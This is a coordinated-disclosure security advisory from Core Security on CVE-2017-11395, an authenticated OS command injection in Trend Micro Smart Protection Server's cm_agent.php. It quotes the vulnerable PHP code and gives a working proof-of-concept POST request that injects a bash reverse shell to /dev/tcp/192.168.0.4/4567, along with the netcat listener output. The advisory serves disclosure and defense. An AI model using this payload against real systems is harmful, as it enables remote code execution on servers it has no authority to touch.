CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
79.0%
**Title:**Trend Micro Smart Protection OS Command Injection
**Advisory ID:**CORE-2017-0004
**Advisory URL:**http://www.coresecurity.com/core-labs/advisories/trend-micro-smart-protection-os-command-injection
**Date published:**2017-08-23
**Date of last update:**2017-08-23
**Vendors contacted:**Trend Micro
**Release mode:**Coordinated release
**Class:**Improper Neutralization of Special Elements used in an OS Command [CWE-78]
**Impact:**Code execution
**Remotely Exploitable:**Yes
**Locally Exploitable:**Yes
CVE Name:CVE-2017-11395
Trend Micro’s website states that:
Trend Micro Smart Protection Server [1] is a next-generation, in-the-cloud based, advanced protection solution. At the core of this solution is an advanced scanning architecture that leverages malware prevention signatures that are stored in-the-cloud. This solution leverages file reputation and web reputation technology to detect security risks. The technology works by off loading a large number of malware prevention signatures and lists that were previously stored on endpoints to Trend Micro Smart Protection Server.
A command injection vulnerability was found in the Smart Protection Server Administration UI. In particular, the cm_agent.php script did not sanitize input parameters before executing a system command.
Other products and versions might be affected, but they were not tested.
Trend Micro published the following Security Notes:
This vulnerability was discovered and researched by Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team.
[CVE-2017-11395] The vulnerable function is SOSubscription, which is located in the /var/www/AdminUI/php/cm_agent.php script. This functionality can be reached only by authenticated users, so the attacker would first need to obtain a valid session via some other means (such as XSS).
As can be seen below, the $serviceurl and $apikey variables are read from the $data[‘Settings’] array and passed to the exec function.
function SOSubscription($data) { $res = Array('errcode'=>'423','response'=>'ERR','message'=>'');
$res['success_ok'] = '0'; //auto-deploy information from TMCM $serviceurl = $data['Settings']
['SO_SubscriptionSetting']['ServiceURL']; $apikey = $data['Settings']['SO_SubscriptionSetting']
['APIKey']; if(!$serviceurl || !apikey) { echo json_encode($res); return; } // ccca register command
$tmpdata = array(); $ret = 0; $reg_cmd = LWCSCTRL_CMD." -c CCCA_REGISTER -u ".$serviceurl." -a
".$apikey; exec($reg_cmd, $tmpdata, $ret); [...]
Reading through the script a bit more shows that the array is built taking user input from the POST request without sanitizing it.
if (isset($argv)){ [...] } else{ // remote access need to check session require_once
('inc/ajax_authsession.php'); SessionChecker::CheckAndRedirect(); $type = $_POST['T'];
$postJsondata = $_POST['data']; #$filename="/var/tmcss/debuglogs/wsi_debug_T".$_POST['T'].
".txt"; #file_put_contents($filename, $_POST['data']); } $postdata = json_decode($postJsondata,
true); // type must exist if (strlen($type) == 0) { OutputError(ERR_TYPE_NOT_EXIST); return; }
if (!is_numeric($type)) $type = -1; switch ($type) { [...] case TYPE_SO_SUBSCRIPTION:
SOSubscription($postdata); break; default: OutputError(ERR_TYPE_INVALID); break; }
The following proof of concept injects a command in the ServiceUrl POST parameter and opens a reverse shell to 192.168.0.4:4567.
POST /php/cm_agent.php HTTP/1.1 Host: 192.168.32.132:4343 User-Agent: Mozilla/5.0
(Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,
application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie:
0913293ac171fc7c=qdi24p124q7p5n9mg34ej2sq66; Connection: close Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded Content-Length: 156 sid=0913293ac171fc7c&T=
105&data={"Settings":{"SO_SubscriptionSetting":{"ServiceURL":"%3bbash+-i+>%26+/dev/tcp/192.
168.0.4/4567+0>%261%3b", "APIKey":"123"}}} caja:~ maxi$ nc -lv 4567 bash: no job control in
this shell bash-3.2$ id uid=501(webserv) gid=501(webserv) groups=101(icrc),501(webserv)
[1] <https://www.trendmicro.com/en_ca/business/technologies/smart-protection-network.html>
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs
Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company’s threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur.
Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia.
The contents of this advisory are copyright © 2017 Core Security and © 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: <http://creativecommons.org/licenses/by-nc-sa/3.0/us/>
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
79.0%